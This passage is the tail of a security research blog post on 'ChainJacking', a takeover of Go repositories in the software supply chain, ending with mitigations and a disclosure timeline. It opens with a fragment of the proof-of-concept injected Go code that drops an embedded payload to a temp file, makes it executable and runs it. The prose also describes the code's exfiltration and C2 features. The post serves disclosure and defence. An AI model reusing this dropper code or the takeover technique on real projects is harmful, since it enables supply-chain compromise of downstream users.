&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;b&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ioutil&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;TempFile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;runtime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;GOOS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;linux&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Chmod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mo"&gt;0755&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;panic&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sync&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Name&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;cmd&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Second&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The injected code uses common techniques used by other malware written in Go.
It performs a process enumeration which is sometimes performed by malware to
determine if it is executed in a sandbox or being analyzed. Another feature of
the code is to perform data exfiltration of base64 encoded data. Command
execution is simulated by allowing the Command and Control (C2) server to send
a command to be executed by the injected code. Finally, an alternative payload
is embedded, allowing the injected code to behave as a dropper. The same
resource embedding library has been used by malware in the past.&lt;/p&gt;
&lt;p&gt;If we build another application whose dependency uses the vulnerable
repository, the modified logging package is included in the final binary. If we
analyze the binary with &lt;a href="http://analyze.intezer.com/?utm_campaign=research-blog&amp;amp;utm_content=chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Intezer Analyze&lt;/a&gt; we can
see that it detected 14 unique code genes.&lt;/p&gt;
&lt;p&gt;We can confirm that the unique genes are indeed part of the malicious code that
we injected because we can see this section of code is located in the
&lt;code&gt;collectData&lt;/code&gt; function.&lt;/p&gt;
&lt;h2&gt;GitHub Mitigation&lt;span class="hx:absolute hx:-mt-20" id="github-mitigation"&gt;&lt;/span&gt;
&lt;a href="#github-mitigation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In an effort to address this issue and similar ones, GitHub introduced
&lt;a href="https://github.blog/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement"target="_blank" rel="noopener"&gt;Popular repository namespace retirement&lt;/a&gt;.
This measure should ensure that attacks such as ChainJacking won&amp;rsquo;t be possible
on popular code packages that might have a substantial impact. To do that,
GitHub &amp;ldquo;retires the namespace of any open-source project that had more than 100
clones in the week leading up to the owner&amp;rsquo;s account being renamed or deleted.&amp;rdquo;&lt;/p&gt;
&lt;h2&gt;Mitigation Recommendations&lt;span class="hx:absolute hx:-mt-20" id="mitigation-recommendations"&gt;&lt;/span&gt;
&lt;a href="#mitigation-recommendations" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The good news is that while ChainJacking has the potential to cause incidents
with severe widespread effects, it can also be mitigated relatively simply.
Combining Checkmarx and Intezer&amp;rsquo;s technologies, we were able to recognize the
possible source of the attack at the code level while also identifying the
impact of this attack vector at the application level.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;To help detect vulnerable packages in your dependency tree, we are
&lt;a href="https://github.com/checkmarx/chainjacking"target="_blank" rel="noopener"&gt;released an open-source tool on GitHub&lt;/a&gt;.
Check it out and consider incorporating it into your development or build
pipeline.&lt;/li&gt;
&lt;li&gt;Scan software releases for tampering and backdoors before delivering to
customers or deploying to production.
&lt;a href="https://intezer.com/blog/malware-analysis/securing-the-software-supply-chain/?utm_campaign=research-blog&amp;amp;utm_content=chainjacking-supply-chain-attack-puts-popular-admin-tools-at-risk&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Learn more&lt;/a&gt;
about how Intezer can help you release your software with peace of mind.&lt;/li&gt;
&lt;li&gt;Checkmarx monitors packages that can be taken over and alerts the ecosystem
(including Go and GitHub) in case a suspicious activity is detected. This
means that Checkmarx customers are automatically protected from
ChainJacking.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;What&amp;rsquo;s Next?&lt;span class="hx:absolute hx:-mt-20" id="whats-next"&gt;&lt;/span&gt;
&lt;a href="#whats-next" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Software supply chain attacks are on the rise because they can be difficult to
detect and have the potential for widespread impact. ChainJacking described in
this research provides attackers with new infection opportunities and further
adds to the challenges companies face when securing their software supply
chain.&lt;/p&gt;
&lt;p&gt;To demonstrate the potential outcome of such an attack, we showed the direct
link between a real-life vulnerable package and popular admin tools intended to
run with high privileges. While we have found no evidence of attackers using
ChainJacking in the wild at this moment, the potential damage of an
exploitation of this kind could be compared to the recent attacks against
Kaseya and SolarWinds.&lt;/p&gt;
&lt;h2&gt;Disclosure Timeline&lt;span class="hx:absolute hx:-mt-20" id="disclosure-timeline"&gt;&lt;/span&gt;
&lt;a href="#disclosure-timeline" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;8 Oct 21 – Full report sent&lt;/li&gt;
&lt;li&gt;8 Oct 21 – GitHub acknowledges receiving the report&lt;/li&gt;
&lt;li&gt;20 Oct 21 – GitHub asked for clarifications&lt;/li&gt;
&lt;li&gt;20 Oct 21 – Clarifications sent together with a PoC video&lt;/li&gt;
&lt;li&gt;30 Oct 21 – GitHub responded indicating that this is a known behavior and
referenced their
&lt;a href="https://github.blog/2018-04-18-new-tools-for-open-source-maintainers/#popular-repository-namespace-retirement"target="_blank" rel="noopener"&gt;documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;5 Nov 21 – Email sent to Go security team&lt;/li&gt;
&lt;li&gt;10 Nov 21 – Response from Go security team acknowledging it as an issue but
not something they could fix&lt;/li&gt;
&lt;li&gt;16 Nov 21 – Full disclosure&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>